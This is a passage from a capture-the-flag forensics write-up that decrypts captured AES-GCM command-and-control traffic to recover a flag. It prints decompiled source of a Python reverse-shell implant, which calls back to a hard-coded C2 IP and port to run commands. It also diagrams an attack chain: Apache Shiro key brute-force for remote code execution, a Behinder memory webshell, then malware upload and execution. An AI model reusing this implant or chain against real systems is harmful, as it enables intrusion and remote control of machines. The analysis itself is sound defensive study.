0000007ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4Due to the variable length, ECB and CBC were unlikely. GCM was considered a strong possibility, especially as the first two command lengths (31 and 30 bytes after decryption) corresponded to typical commands like pwd and ls, with the remaining bytes matching GCM’s structure (12-byte nonce, 16-byte tag). Attempting GCM decryption:
import base64import binasciifrom Crypto.Cipher import AES
key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=")
hex_str = """1f00000033740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a240000005c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c1e000000e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df2341f000000bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f30000000be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd8712b0000002b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a6e0000008ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95690000005fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d524000000410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b61f0000007ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4""".replace('\n', '').replace(' ', '')
data = binascii.unhexlify(hex_str)
i = 0chunk_idx = 0while i < len(data): length = int.from_bytes(data[i:i+4], 'little') i += 4
chunk = data[i:i+length] i += length
nonce = chunk[:12] ciphertext = chunk[12:-16] tag = chunk[-16:]
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) plaintext = cipher.decrypt_and_verify(ciphertext, tag) print(f"{chunk_idx}: len{len(plaintext)}: {plaintext}")
chunk_idx += 1The output was:
0: len3: b'pwd'1: len8: b'/var/tmp'2: len2: b'ls'3: len3: b'out'4: len20: b'echo Congratulations'5: len15: b'Congratulations'6: len82: b'echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi'7: len77: b'3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi'8: len8: b'echo bye'9: len3: b'bye'Putting 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi through CyberChef, applying Base58 then Base64 decryption yielded the Flag: dart{d9850b27-85cb-4777-85e0-df0b78fdb722}

A later attempt to fully extract and reverse engineer the binary uploaded in chunks confirmed it was a PyInstaller-packaged ELF. Decompiling the extracted inspect.pyc revealed:
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information# Version : Python 3.9
import osimport socketimport structimport subprocessimport argparseimport settingsimport base64from cryptography.hazmat.primitives.ciphers.aead import AESGCMSERVER_LISTEN_IP = '10.1.243.155'SERVER_LISTEN_PORT = 7788IMPLANT_CONNECT_IP = '10.1.243.155'IMPLANT_CONNECT_PORT = 7788SERVER_LISTEN_NUM = 20_aesgcm = None
def set_aes_key(key_b64 = None): global _aesgcm key = base64.b64decode(key_b64) if len(key) not in (16, 24, 32): raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节(对应 128, 192, 256 位)') _aesgcm = None(key)
def encrypt_data(data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化,请先调用 set_aes_key()') nonce = None.urandom(12) ciphertext = _aesgcm.encrypt(nonce, data, None) return nonce + ciphertext
def decrypt_data(encrypted_data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化,请先调用 set_aes_key()') if None(encrypted_data) < 28: raise ValueError('加密数据太短,无法包含 nonce 和认证标签') nonce = None[:12] ciphertext_with_tag = encrypted_data[12:] plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None) return plaintext
def exec_cmd(command, code_flag): command = command.decode('utf-8')# WARNING: Decompyle incomplete
def send_data(conn, data): if type(data) == str: data = data.encode('utf-8') encrypted_data = settings.encrypt_data(data) cmd_len = struct.pack('i', len(encrypted_data)) conn.send(cmd_len) conn.send(encrypted_data)
def recv_data(sock, buf_size = (1024,)): x = sock.recv(4) all_size = struct.unpack('i', x)[0] recv_size = 0 encrypted_data = b'' if recv_size < all_size: encrypted_data += sock.recv(buf_size) recv_size += buf_size continue data = settings.decrypt_data(encrypted_data) return data
def main(): sock = socket.socket() sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT)) code_flag = 'gbk' if os.name == 'nt' else 'utf-8'# WARNING: Decompyle incomplete
if __name__ == '__main__': parser = argparse.ArgumentParser('', **('description',)) parser.add_argument('--aes-key', True, '', **('required', 'help')) args = parser.parse_args() settings.set_aes_key(args.aes_key) main()This confirmed the use of AES-GCM.
Summary
The complete attack chain was as follows:
sequenceDiagram participant Attacker as Attacker / C2 Server participant WebServer as Web App Layer (Shiro / Behinder WebShell) participant OS as Underlying System (Linux OS)
rect rgb(240, 248, 255) note right of Attacker: Phase 1: Shiro Exploitation & RCE Attacker->>WebServer: Continuous brute-force of rememberMe Cookie (CVE-2016-4437) WebServer-->>Attacker: 302 Redirect (Brute-force successful, AES Key obtained) Attacker->>WebServer: Send RCE Payload (Commands via Authorization header) WebServer->>OS: Spawn process to execute commands (whoami, ls -la, etc.) OS-->>WebServer: Return standard output (root, etc.) WebServer-->>Attacker: Return Base64 encrypted command results end
rect rgb(255, 240, 245) note right of Attacker: Phase 2: Inject Memory-Shell & Post-Exploration Attacker->>WebServer: POST request to inject Behinder memory-shell WebServer-->>Attacker: Return injection success indicator (->|Success|<-) Attacker->>WebServer: Access /favicondemo.ico, send AES encrypted Java Classes WebServer->>OS: Read environment variables, network info, list /tmp & /var/tmp OS-->>WebServer: Return system status and file lists WebServer-->>Attacker: Return AES encrypted exploration results end
rect rgb(240, 255, 240) note right of Attacker: Phase 3: Chunked Upload & Execution of Persistent Malware Attacker->>WebServer: Multiple requests to upload ELF malware in chunks WebServer->>OS: Append payload chunks to /var/tmp/out Attacker->>WebServer: Send hash verification request WebServer->>OS: Calculate MD5 hash of /var/tmp/out OS-->>WebServer: Verification successful WebServer-->>Attacker: Return hash confirming file integrity Attacker->>WebServer: Send commands chmod +x out and ./out --aes-key ... WebServer->>OS: Grant execute permissions and run malware with key parameter end
rect rgb(255, 253, 230) note right of Attacker: Phase 4: TCP Reverse Connection & Deep Control OS->>Attacker: Pyinstaller malware initiates TCP reverse connection to C2 (10.1.243.155:7788) Attacker->>OS: Send AES-GCM encrypted commands (pwd, ls, echo) OS-->>Attacker: Return encrypted execution results (final output includes Flag) end-
Phase 1: Shiro Vulnerability Exploitation and RCE Verification
- The attacker successfully brute-forced the Apache Shiro AES key by sending GET requests containing
rememberMecookies. - Subsequently, the attacker used the
Authorizationheader to pass encrypted commands. The web server executed commands likewhoamiand returned the Base64 encrypted resultroot.
- The attacker successfully brute-forced the Apache Shiro AES key by sending GET requests containing
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Phase 2: Implanting Memory Webshell and Initial Control
- The attacker sent a POST request to the
/path containing a Java class, successfully injecting a Behinder memory webshell, establishing the C2 channel on the/favicondemo.icopath. - The attacker sent AES-encrypted Java classes through this channel, using the web application layer to read the underlying system’s environment variables, IP information (
172.18.0.2), and execute basic system commands (e.g.,ps -ef).
- The attacker sent a POST request to the
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Phase 3: Malware Upload and Execution
- Through the webshell, the attacker used
blockIndexandblockSizeparameters to upload an ELF binary in chunks, appending it to/var/tmp/out, and verified its hash (a0275c1593af1adb). - The attacker issued the shell command
chmod +x outto grant execution permissions and ran the malware on the underlying system using./out --aes-key ....
- Through the webshell, the attacker used
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Phase 4: TCP Reverse Connection to Obtain Flag
- Once executed, the Python-based malware bypassed the web layer and actively initiated a TCP connection to the attacker’s C2 server (
10.1.243.155:7788). - Both parties switched to AES-GCM encryption. The attacker issued remote control commands like
pwd,ls, andecho Congratulations, ultimately retrieving the Flag from the final response.
- Once executed, the Python-based malware bypassed the web layer and actively initiated a TCP connection to the attacker’s C2 server (
Overall, it was quite an interesting challenge.